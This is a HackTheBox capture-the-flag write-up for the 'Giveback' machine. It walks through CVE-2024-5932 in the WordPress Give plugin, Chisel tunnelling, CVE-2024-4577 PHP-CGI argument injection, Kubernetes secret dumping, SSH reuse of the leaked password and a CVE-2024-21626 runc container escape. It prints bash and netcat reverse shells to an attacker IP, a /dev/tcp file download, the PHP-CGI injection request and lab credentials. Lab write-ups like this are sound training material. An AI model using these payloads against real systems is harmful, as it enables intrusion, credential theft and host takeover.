Giveback - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐⭐☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Giveback is a medium-difficulty Linux machine that combines WordPress plugin exploitation with container escape techniques. The attack chain begins with CVE-2024-5932, an insecure deserialization flaw in the Give plugin version 3.14.0, enabling unauthenticated remote code execution within a containerized WordPress environment. Through internal service discovery via environment variables, the attacker pivots to a legacy intranet service using port forwarding, then exploits CVE-2024-4577—a PHP-CGI argument injection vulnerability—to achieve command execution as root within the container. By enumerating Kubernetes service account secrets, the attacker extracts SSH credentials and gains access to the host system. Finally, privilege escalation is achieved through CVE-2024-21626, a container escape vulnerability in runc, resulting in full root access on the host system.

TL;DR: WordPress Give plugin RCE → Port forward to internal service → PHP-CGI argument injection → Kubernetes secret enumeration → SSH access → runc container escape → Root.

Reconnaissance

Port Scanning

# Initial all-ports scan
nmap -p- --min-rate=1000 -T4 10.10.11.94

# Detailed service enumeration
nmap -sC -sV -T4 -p 22,80,6443,10250,30686 10.10.11.94

Results:

Service Enumeration

HTTP Enumeration (Port 80)

The web server hosts a WordPress site titled “GIVING BACK IS WHAT MATTERS MOST – OBVI” with a /wp-admin/ entry disallowed in robots.txt.

# WordPress plugin and theme enumeration
wpscan --url http://10.10.11.94/

Findings:

• WordPress is running with the Give plugin version 3.14.0 (outdated)
• WordPress user identified: babywyrm
• Donation form accessible at /donations/the-things-we-need/
• Domain identified: giveback.htb (added to /etc/hosts)

# User enumeration via JSON REST API
curl -q http://giveback.htb/wp-json/wp/v2/users | jq

Kubernetes Service Endpoint (Port 30686)

The Golang HTTP service on port 30686 returns JSON responses indicating a load-balancing endpoint for wp-nginx-service in the default namespace, confirming a Kubernetes environment.

Vulnerability Assessment

Initial Foothold

Exploitation Path

Step 1: Exploit CVE-2024-5932 (Give Plugin RCE)

The Give plugin version 3.14.0 is vulnerable to insecure deserialization through the give_title parameter. A publicly available PoC allows arbitrary PHP object injection leading to RCE.

First, write a reverse shell script to disk:

python3 CVE-2024-5932-rce.py -u http://giveback.htb/donations/the-things-we-need/ \
  -c "echo '/usr/bin/bash -i >& /dev/tcp/10.10.14.39/4455 0>&1' > /tmp/code"

Set up a listener on the attacker machine:

nc -lnvp 4455

Execute the reverse shell payload:

python3 CVE-2024-5932-rce.py -u http://giveback.htb/donations/the-things-we-need/ \
  -c "/usr/bin/bash /tmp/code"

Verification:

listening on [any] 4455 ...
connect to [10.10.14.39] from (UNKNOWN) [10.10.11.94] 52386
<-85586f976b-hsglr:/opt/bitnami/wordpress/wp-admin$ id
uid=1001 gid=0(root) groups=0(root),1001

We have achieved initial foothold as UID 1001 within a containerized WordPress environment.

Step 2: Internal Service Discovery

Enumerating environment variables reveals an internal service:

env | grep -i legacy

Output:

LEGACY_INTRANET_SERVICE_PORT=tcp://10.43.2.241:5000

This points to an internal service running on 10.43.2.241:5000 that is not directly accessible from the attacker machine.

Step 3: Port Forwarding via Chisel

Download and transfer Chisel to the target:

# On attacker machine, host Chisel binary
python3 -m http.server 7000

# On target, download Chisel using /dev/tcp (no wget/curl available)
(
    exec 3<>/dev/tcp/10.10.14.39/7000
    echo -e "GET /chisel HTTP/1.1\r\nHost: 10.10.14.39\r\nConnection: close\r\n\r\n" >&3
    cat <&3 | sed '1,/^\r$/d' > chisel
    chmod +x chisel
) &

Start Chisel reverse tunnel server on attacker machine:

chisel server -p 666 --reverse
# Output: Listening on http://0.0.0.0:666

Connect from target and establish reverse tunnel:

./chisel client 10.10.14.39:666 R:222:10.43.2.241:5000
# Forwards local port 222 -> 10.43.2.241:5000

The internal service is now accessible at http://localhost:222 from the attacker machine, revealing a “GiveBack LLC Internal CMS” interface.

Privilege Escalation

Stage 1: Container RCE via CVE-2024-4577

The internal CMS runs PHP 8.3.3 via PHP-CGI. The footer mentions Windows IIS migration with retained CGI handling, making it vulnerable to CVE-2024-4577 (PHP-CGI argument injection).

Verify Vulnerability

curl -i -X POST "http://localhost:222/cgi-bin/php-cgi?%ADd+auto_prepend_file=php%3A%2F%2Finput" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary "id"

Output:

HTTP/1.1 200 OK
...
[START]uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
[END]

Command execution confirmed as root within the container.

Obtain Reverse Shell

Start listener on attacker machine:

nc -lnvp 4433

Execute reverse shell payload:

curl -i -X POST "http://localhost:222/cgi-bin/php-cgi?%ADd+auto_prepend_file=php%3A%2F%2Finput" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | /usr/bin/nc 10.10.14.39 4433 > /tmp/f"

Verification:

listening on [any] 4433 ...
connect to [10.10.14.39] from (UNKNOWN) [10.10.11.94] 19850
/bin/sh: can't access tty; job control turned off
/var/www/html/cgi-bin # id
uid=0(root) gid=0(root)

Stage 2: Kubernetes Secret Extraction

Check for Kubernetes secrets:

ls /run/secrets/kubernetes.io/serviceaccount/
# Output: ca.crt, namespace, token

Extract service account token and namespace:

TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /run/secrets/kubernetes.io/serviceaccount/namespace)

Query Kubernetes API for secrets:

curl -sSk -H "Authorization: Bearer $TOKEN" \
  "https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/secrets"

Extract credentials:

• MariaDB password (Base64): c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T
• MASTERPASS for user babywyrm (Base64): c3hVZ1lLNUc4SlFEcVFvNXRxVkZqbjh4bG1LazMx

Decode credentials:

echo "c3hVZ1lLNUc4SlFEcVFvNXRxVkZqbjh4bG1LazMx" | base64 -d
# Output: sxUgYK5G8JQDqQo5tqVFjn8xlmKk31

Stage 3: SSH Access to Host

Using extracted credentials:

ssh babywyrm@10.10.11.94
# Password: sxUgYK5G8JQDqQo5tqVFjn8xlmKk31

Verification:

babywyrm@giveback:~$ id
uid=1000(babywyrm) gid=1000(babywyrm) groups=1000(babywyrm)

Retrieve user flag:

cat /home/babywyrm/user.txt

Stage 4: Privilege Escalation via CVE-2024-21626

Check sudo privileges:

sudo -l

Output:

User babywyrm may run the following commands on localhost:
    (ALL) NOPASSWD: !ALL
    (ALL) /opt/debug

The user can execute /opt/debug with sudo. Inspect the binary:

sudo /opt/debug --help
# Restricted runc Debug Wrapper

Check runc version:

sudo /opt/debug --version
# Output: runc version 1.1.11

This version is vulnerable to CVE-2024-21626 (container escape via FD leak).

Exploit Setup

On attacker machine, create Alpine container filesystem:

docker export $(docker create alpine:latest) > alpine.tar
python3 -m http.server 3000

On target, download and extract filesystem:

cd /tmp
wget http://10.10.14.39:3000/alpine.tar
mkdir data && cd data
mkdir rootfs
tar -xf /tmp/alpine.tar -C rootfs/

Generate runc bundle configuration:

sudo /opt/debug spec
# Enter password: sxUgYK5G8JQDqQo5tqVFjn8xlmKk31
# Enter admin password: sW5sp4spa3u7RLyetrekE4oS (decoded from base64)

Prepare modifiable bundle copy:

cp -a ./rootfs ./config.json conc/
cd conc/

Modify config.json to trigger container escape:

The vulnerability exploits an internal FD leak. By setting cwd to /proc/self/fd/7, the container’s working directory maps to the host filesystem:

perl -i -pe 's/"cwd": "\/",/"cwd": "\/proc\/self\/fd\/7",/' config.json

Execute container with modified config:

sudo /opt/debug --log ./log.json run runc_exp
# Enter password: sxUgYK5G8JQDqQo5tqVFjn8xlmKk31
# Enter admin password: sW5sp4spa3u7RLyetrekE4oS

Verification:

[*] Starting container: runc_exp
 #

From within the container shell, traverse to host filesystem:

# From container root (which is /proc/self/fd/7 on host)
cat ../../../../../root/root.txt

Success! Root flag retrieved, confirming full compromise of the host system.

Attack Chain Summary

CVE-2024-5932 (Give Plugin RCE)
        ↓
Initial Foothold in WordPress Container
        ↓
Environment Variable Discovery (LEGACY_INTRANET_SERVICE_PORT)
        ↓
Chisel Port Forwarding Setup
        ↓
CVE-2024-4577 (PHP-CGI Argument Injection RCE)
        ↓
Root Access in Intranet Service Container
        ↓
Kubernetes API Enumeration
        ↓
Secret Extraction (babywyrm SSH credentials)
        ↓
SSH Access to Host System
        ↓
sudoers Analysis (/opt/debug available)
        ↓
CVE-2024-21626 (runc Container Escape)
        ↓
Full Root Access on Host

Tools Used

Key Learnings

Techniques Practiced

• WordPress plugin enumeration and vulnerability identification
• CVE-2024-5932 exploitation (insecure deserialization in Give plugin)
• Reverse shell creation using /dev/tcp and named pipes (mkfifo)
• Kubernetes service account authentication and API interaction
• Secret extraction from containerized environments
• CVE-2024-4577 exploitation (PHP-CGI argument injection)
• Port forwarding via Chisel for internal service access
• runc bundle configuration and OCI runtime understanding
• CVE-2024-21626 exploitation (runc FD leak container escape)

Lessons Learned

1. Defense in Depth Failure: Multiple unpatched CVEs in production allowed full system compromise through a layered exploitation chain.

2. Container Security: Containers are not a security boundary. Misconfigured runc versions and exposed Kubernetes APIs enable host escape.

3. Kubernetes Secrets Management: Service account tokens mounted by default can leak secrets. RBAC and network policies should restrict API access.

4. Legacy Code Retention: Migrating from Windows IIS to Linux while retaining PHP-CGI handling introduced CVE-2024-4577.

5. Privilege Escalation Surface: Sudo binary wrappers without proper input validation can be exploited for privilege escalation.

6. Port Exposure: The Kubernetes load balancer endpoint (port 30686) should not be exposed externally.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>